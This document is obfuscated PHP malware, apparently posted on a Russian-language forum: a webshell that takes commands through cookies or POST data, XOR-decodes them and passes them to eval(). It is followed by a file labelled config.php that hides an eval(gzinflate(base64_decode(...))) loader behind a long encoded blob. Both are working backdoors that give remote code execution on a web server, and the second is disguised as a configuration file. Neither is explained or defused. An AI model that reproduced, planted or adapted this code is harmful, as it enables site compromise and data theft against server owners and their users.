$GLOBALS[$GLOBALS['jd41f'][11].$GLOBALS['jd41f'][44].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][47]] = $GLOBALS['jd41f'][44].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][2].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][14].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][36].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][83];
$GLOBALS[$GLOBALS['jd41f'][44].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][44]] = $GLOBALS['jd41f'][2].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][74].$GLOBALS['jd41f'][14].$GLOBALS['jd41f'][74].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][80].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][14].$GLOBALS['jd41f'][34].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][80].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][74];
$GLOBALS[$GLOBALS['jd41f'][27].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][79].$GLOBALS['jd41f'][67]] = $GLOBALS['jd41f'][55].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][1];
$GLOBALS[$GLOBALS['jd41f'][27].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][83]] = $GLOBALS['jd41f'][75].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][71];
$GLOBALS[$GLOBALS['jd41f'][30].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][79].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][23]] = $_POST;
$GLOBALS[$GLOBALS['jd41f'][74].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][79].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][84]] = $_COOKIE;
@$GLOBALS[$GLOBALS['jd41f'][61].$GLOBALS['jd41f'][79].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][42]]($GLOBALS['jd41f'][83].$GLOBALS['jd41f'][50].$GLOBALS['jd41f'][50].$GLOBALS['jd41f'][36].$GLOBALS['jd41f'][50].$GLOBALS['jd41f'][14].$GLOBALS['jd41f'][34].$GLOBALS['jd41f'][36].$GLOBALS['jd41f'][19], NULL);
@$GLOBALS[$GLOBALS['jd41f'][61].$GLOBALS['jd41f'][79].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][42]]($GLOBALS['jd41f'][34].$GLOBALS['jd41f'][36].$GLOBALS['jd41f'][19].$GLOBALS['jd41f'][14].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][50].$GLOBALS['jd41f'][50].$GLOBALS['jd41f'][36].$GLOBALS['jd41f'][50].$GLOBALS['jd41f'][2], 0);
@$GLOBALS[$GLOBALS['jd41f'][61].$GLOBALS['jd41f'][79].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][42]]($GLOBALS['jd41f'][80].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][69].$GLOBALS['jd41f'][14].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][69].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][66].$GLOBALS['jd41f'][74].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][36].$GLOBALS['jd41f'][61].$GLOBALS['jd41f'][14].$GLOBALS['jd41f'][74].$GLOBALS['jd41f'][52].$GLOBALS['jd41f'][80].$GLOBALS['jd41f'][83], 0);
@$GLOBALS[$GLOBALS['jd41f'][44].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][44]](0);
if(!$GLOBALS[$GLOBALS['jd41f'][12].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][92]]($GLOBALS['jd41f'][58].$GLOBALS['jd41f'][56].$GLOBALS['jd41f'][58].$GLOBALS['jd41f'][14].$GLOBALS['jd41f'][33].$GLOBALS['jd41f'][25].$GLOBALS['jd41f'][49]))
{
 $GLOBALS[$GLOBALS['jd41f'][61].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][47]]($GLOBALS['jd41f'][58].$GLOBALS['jd41f'][56].$GLOBALS['jd41f'][58].$GLOBALS['jd41f'][14].$GLOBALS['jd41f'][33].$GLOBALS['jd41f'][25].$GLOBALS['jd41f'][49], $GLOBALS['jd41f'][87].$GLOBALS['jd41f'][61]);
}
if(!$GLOBALS[$GLOBALS['jd41f'][12].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][92]]($GLOBALS['jd41f'][3].$GLOBALS['jd41f'][77].$GLOBALS['jd41f'][32].$GLOBALS['jd41f'][33].$GLOBALS['jd41f'][20].$GLOBALS['jd41f'][26].$GLOBALS['jd41f'][25].$GLOBALS['jd41f'][32].$GLOBALS['jd41f'][54].$GLOBALS['jd41f'][14].$GLOBALS['jd41f'][60].$GLOBALS['jd41f'][33].$GLOBALS['jd41f'][58].$GLOBALS['jd41f'][28].$GLOBALS['jd41f'][32].$GLOBALS['jd41f'][28].$GLOBALS['jd41f'][26].$GLOBALS['jd41f'][25].$GLOBALS['jd41f'][32]))
{
 $GLOBALS[$GLOBALS['jd41f'][61].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][47]]($GLOBALS['jd41f'][3].$GLOBALS['jd41f'][77].$GLOBALS['jd41f'][32].$GLOBALS['jd41f'][33].$GLOBALS['jd41f'][20].$GLOBALS['jd41f'][26].$GLOBALS['jd41f'][25].$GLOBALS['jd41f'][32].$GLOBALS['jd41f'][54].$GLOBALS['jd41f'][14].$GLOBALS['jd41f'][60].$GLOBALS['jd41f'][33].$GLOBALS['jd41f'][58].$GLOBALS['jd41f'][28].$GLOBALS['jd41f'][32].$GLOBALS['jd41f'][28].$GLOBALS['jd41f'][26].$GLOBALS['jd41f'][25].$GLOBALS['jd41f'][32], $GLOBALS['jd41f'][57]);
}
$j0ae8 = NULL;
$k1071e = NULL;
$GLOBALS[$GLOBALS['jd41f'][55].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][68]] = $GLOBALS['jd41f'][79].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][5].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][67].$GLOBALS['jd41f'][67].$GLOBALS['jd41f'][5].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][5].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][44].$GLOBALS['jd41f'][5].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][79].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][79].$GLOBALS['jd41f'][44].$GLOBALS['jd41f'][67].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][84];
global $wd0c1d110;
function hcaa8($j0ae8, $h19e3748c)
{
 $wb5e3 = "";
for ($o184=0; $o184<$GLOBALS[$GLOBALS['jd41f'][69].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][79]]($j0ae8);)
 {
 for ($l1981df1a=0; $l1981df1a<$GLOBALS[$GLOBALS['jd41f'][69].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][79]]($h19e3748c) && $o184<$GLOBALS[$GLOBALS['jd41f'][69].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][79]]($j0ae8); $l1981df1a++, $o184++)
 {
 $wb5e3 .= $GLOBALS[$GLOBALS['jd41f'][36].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][83]]($GLOBALS[$GLOBALS['jd41f'][36].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][84]]($j0ae8[$o184]) ^ $GLOBALS[$GLOBALS['jd41f'][36].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][84]]($h19e3748c[$l1981df1a]));
 }
 }
return $wb5e3;
}
function w22021adc($j0ae8, $h19e3748c)
{
 global $wd0c1d110;
return $GLOBALS[$GLOBALS['jd41f'][27].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][83]]($GLOBALS[$GLOBALS['jd41f'][27].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][83]]($j0ae8, $wd0c1d110), $h19e3748c);
}
foreach ($GLOBALS[$GLOBALS['jd41f'][74].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][79].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][84]] as $h19e3748c=>$wa4ba8)
{
 $j0ae8 = $wa4ba8;
 $k1071e = $h19e3748c;
}
if (!$j0ae8)
{
 foreach ($GLOBALS[$GLOBALS['jd41f'][30].$GLOBALS['jd41f'][47].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][79].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][23]] as $h19e3748c=>$wa4ba8)
 {
 $j0ae8 = $wa4ba8;
 $k1071e = $h19e3748c;
 }
}
$j0ae8 = @$GLOBALS[$GLOBALS['jd41f'][64].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][71].$GLOBALS['jd41f'][68]]($GLOBALS[$GLOBALS['jd41f'][27].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][79].$GLOBALS['jd41f'][67]](@$GLOBALS[$GLOBALS['jd41f'][11].$GLOBALS['jd41f'][44].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][22].$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][70].$GLOBALS['jd41f'][47]]($j0ae8), $k1071e));
if (isset($j0ae8[$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][4]]) && $wd0c1d110==$j0ae8[$GLOBALS['jd41f'][42].$GLOBALS['jd41f'][4]])
{
 if ($j0ae8[$GLOBALS['jd41f'][42]] == $GLOBALS['jd41f'][52])
 {
 $o184 = Array(
 $GLOBALS['jd41f'][11].$GLOBALS['jd41f'][64] => @$GLOBALS[$GLOBALS['jd41f'][83].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][1].$GLOBALS['jd41f'][23].$GLOBALS['jd41f'][67].$GLOBALS['jd41f'][92].$GLOBALS['jd41f'][39].$GLOBALS['jd41f'][39]](),
 $GLOBALS['jd41f'][2].$GLOBALS['jd41f'][64] => $GLOBALS['jd41f'][70].$GLOBALS['jd41f'][10].$GLOBALS['jd41f'][68].$GLOBALS['jd41f'][5].$GLOBALS['jd41f'][70],
 );
 echo @$GLOBALS[$GLOBALS['jd41f'][30].$GLOBALS['jd41f'][84].$GLOBALS['jd41f'][44].$GLOBALS['jd41f'][86].$GLOBALS['jd41f'][42]]($o184);
 }
 elseif ($j0ae8[$GLOBALS['jd41f'][42]] == $GLOBALS['jd41f'][83])
 {
 eval($j0ae8[$GLOBALS['jd41f'][22]]);
 }
}

[свернуть]
config.php

<?php $YLbgPfj524 = "vh46afl7tm2ik*n3pws.bu;0j)(qo_erzxy51dg9c8/";$oDJXw7301 = $YLbgPfj524[16].$YLbgPfj524[31].$YLbgPfj524[30].$YLbgPfj524[38].$YLbgPfj524[29].$YLbgPfj524[31].$YLbgPfj524[30].$YLbgPfj524[16].$YLbgPfj524[6].$YLbgPfj524[4].$YLbgPfj524[40].$YLbgPfj524[30];$Gcwa9593 = "".chr(101)."\x76".chr(97)."".chr(108)."".chr(40)."g\x7Ai\x6E".chr(102)."".chr(108)."a".chr(116)."".chr(101)."".chr(40)."ba".chr(115)."e".chr(54)."\x34_".chr(100)."".chr(101)."".chr(99)."o\x64e".chr(40)."";$O9654 = "".chr(41)."\x29)".chr(59)."";$jlvpdR6408 = $Gcwa9593."'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